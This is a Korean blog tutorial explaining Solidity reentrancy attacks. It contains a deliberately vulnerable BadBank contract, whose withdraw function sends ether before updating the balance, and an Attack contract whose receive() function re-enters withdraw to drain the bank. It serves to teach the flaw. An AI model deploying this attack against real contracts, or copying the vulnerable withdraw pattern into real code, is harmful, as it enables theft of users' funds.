티스토리 뷰
🚨 재진입 공격 (Reentrancy Attack)이란?
BadBank 컨트랙트는 10 이더를 가지고 있고 Bob은 1 이더를 가지고 있습니다. BadBank가 가진 10 이더는 다른 사용자 또는 스마트 컨트랙트가 입금해 놓은 금액입니다. BadBank는 이를 안전하게 지켜야만 하고 소유주의 인출 요청에만 응답을 해야 되겠죠.
그런데 BadBank의 withdraw 함수에는 취약점이 존재합니다. 그리고 이를 오직 Bob만 눈치를 챘습니다. Bob은 공격을 감행하기로 마음먹습니다.
공격에 앞서 withdraw 함수를 호출하기 위한 조건을 만족시키기 위해 Bob은 자신이 가진 1 이더를 BadBank에 입금합니다. 그리고 withdraw 함수를 호출합니다.
BadBank가 Bob에게 1 이더를 보내는 순간, 함정 카드가 발동합니다.
Bob은 BadBank의 withdraw 함수가 가진 취약점을 공격하는 로직을 실행하여 withdraw 함수에 반복적으로 재진입합니다. 이 과정에서 BadBank는 Bob이 입금한 1 이더를 돌려주는 로직을 반복해서 실행하게 되고
결국에는 가지고 있는 모든 이더를 Bob에게 넘겨주게 됩니다.
이처럼 컨트랙트 외부로 이더를 전송하거나 외부 컨트랙트를 호출하는 컨트랙트의 취약한 함수를 호출하여 특정 로직을 강제로 실행함으로써 컨트랙트의 이더를 탈취하거나 상태를 변경하는 공격을 감행할 수 있습니다. 그리고 이 공격은 실행 과정에서 코드 실행 경로가 호출한 함수 안으로 '재진입(reenters)'한다는 사실에서 비롯되어, '재진입 공격이'라고 알려져 있습니다.
📃 코드 예제 살펴보기
BadBank Contract
contract BadBank {
mapping (address => uint) balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
(bool success,) = payable(msg.sender).call{value: balances[msg.sender]}("");
if (success) {
balances[msg.sender] = 0;
}
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
BadBank 컨트랙트는 입금, 출금 그리고 잔액 확인이 가능한 간단한 컨트랙트입니다. 여기서 출금 기능을 하는 withdraw 함수에 취약점이 존재합니다. 이 부분은 잠시 후에 살펴보겠습니다.
Attack Contract
contract Attack {
BadBank public bank;
constructor(address _bankAddress) {
bank = BadBank(_bankAddress);
}
function attack() external payable {
if (msg.value < 1 ether) {
revert();
}
bank.deposit{value: msg.value}();
bank.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
}
Attack 컨트랙트는 BadBank 컨트랙트를 공격하기 위한 컨트랙트입니다.
constructor(address _bankAddress) {
bank = BadBank(_bankAddress);
}
Attack 컨트랙트를 배포하기 위해서는 배포되어 있는 BadBank 컨트랙트의 주소가 필요합니다. BadBank의 함수를 Attack 컨트랙트 내부에서 호출하기 위함이죠.
function attack() external payable {
if (msg.value < 1 ether) {
revert();
}
bank.deposit{value: msg.value}();
bank.withdraw();
}
그리고 attck 함수를 사용해서 BadBank 컨트랙트를 공격합니다. BadBank 컨트랙트에 공격자가 보낸 이더를 입금했다가 바로 출금합니다. 그런데 이것만으로는 부족합니다. 입금했다가 입금한 금액만 그대로 출금을 하게 되면 오히려 가스비 때문에 손해거든요.
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
여기서 함정 카드 역할을 하는 것이 receive 함수입니다. receive 함수는 비어있는 calldata로 컨트랙트를 호출한 경우에 강제로 실행됩니다. 예를 들어, 컨트랙트를 대상으로 send나 transfer 같은 단순히 이더를 전송하는 함수가 호출되었을 때 실행됩니다. 즉, 앞서 살펴본 attack 함수에서 이더를 입금하고 바로 출금하는 함수를 실행하면 BadBank에서 Attack으로 이더를 전송하게 되고 Attack의 receive 함수가 강제로 실행됩니다.
그리고 만약 BadBank의 잔액이 1 이더보다 많거나 같다면 다시 withdraw 함수를 호출하여 실행경로가 withdraw 함수로 재진입하게 됩니다.
BadBank는 Attack에게 이더를 전송하고 다시 receive 함수가 호출되는 과정이 계속 반복되면서 결국 BadBank는 다른 사용자들이 입금한 이더까지 모조리 Attack에게 전송하는 불상사를 마주하게 됩니다.
재진입 공격이 가능한 이유
어떻게 이런 일이 가능한 걸까요? 앞에서 훑고 지나갔던 BadBank 컨트랙트의 withdraw 함수를 다시 살펴보겠습니다.
function withdraw() public {
(bool success,) = payable(msg.sender).call{value: balances[msg.sender]}("");
if (success) {
balances[msg.sender] = 0;
}
}
withdraw 함수는 msg.sender의 잔액만큼의 이더를 당사자에게 전송한 뒤에 전송이 성공하면 잔액을 0으로 만듭니다. '이더를 전송하고 성공하면 상태를 변경한다'는 이 실행 순서가 바로 withdraw 함수의 취약점입니다. 왜 그런지 살펴보겠습니다.
1 이더를 사용하여 attack 함수를 호출하면 먼저 BadBank의 deposit 함수를 호출합니다. 그러면 Attack 컨트랙트의 주소로 1 이더의 잔액이 BadBank 컨트랙트의 상태값으로 저장됩니다. 그리고 withdraw 함수가 호출됩니다.
withdraw 함수가 호출되면 Attack 컨트랙트의 잔액인 1 이더가 Attack 컨트랙트로 전송되고 이더를 받은 Attack 컨트랙트는 receive 함수를 실행합니다. 이 과정이 재진입이 종료될 때까지 계속 반복됩니다.
왜 반복이 되는지 이제 눈치를 채셨을 겁니다. 그것은 바로 상태값을 변경하는 코드가 실행되지 않아서 Attack의 잔액이 1 이더인 채로 BadBank가 Attack에게 1 이더를 계속해서 보내기 때문입니다. 그러다 BadBank의 잔액이 1 이더 미만이 되거나 withdraw 함수에서 이더 전송에 실패했을 때 재진입이 종료되고 Attack의 잔액은 그제야 0으로 변경됩니다. 만약 상태를 먼저 변경하고 이더를 전송했다면 이런 일이 일어났을까요?
🙏 마치며
재진입 공격에 대해 예제를 통해 알아보았습니다. Remix IDE(https://remix.ethereum.org/)를 통해 직접 코드를 실행해 보고 디버깅해 보는 것도 큰 도움이 되니 한 번 해보시는 것을 추천드립니다. 글이 너무 길어지는 관계로 재진입 공격을 예방하는 방법들에 대해서는 이어지는 게시글에서 다루도록 하겠습니다.
🐱👤 소스 코드
📖 참고자료
글에서 수정이 필요한 부분이나 설명이 부족한 부분이 있다면 댓글로 남겨주세요!
'Solidity' 카테고리의 다른 글
[Solitidy+Go] geth로 스마트 컨트랙트 배포하기 - 2. 스마트 컨트랙트로 Go 코드 생성 (0) | 2023.12.13 |
---|---|
[Solitidy+Go] geth로 스마트 컨트랙트 배포하기 - 1. 초기 구성 (0) | 2023.12.13 |
[Solidity] 재진입 공격 예방 기법 (0) | 2023.10.04 |
[Trouble Shooting] invalid opcode while deploying (0) | 2023.05.22 |
Most Significant Bit (0) | 2023.03.21 |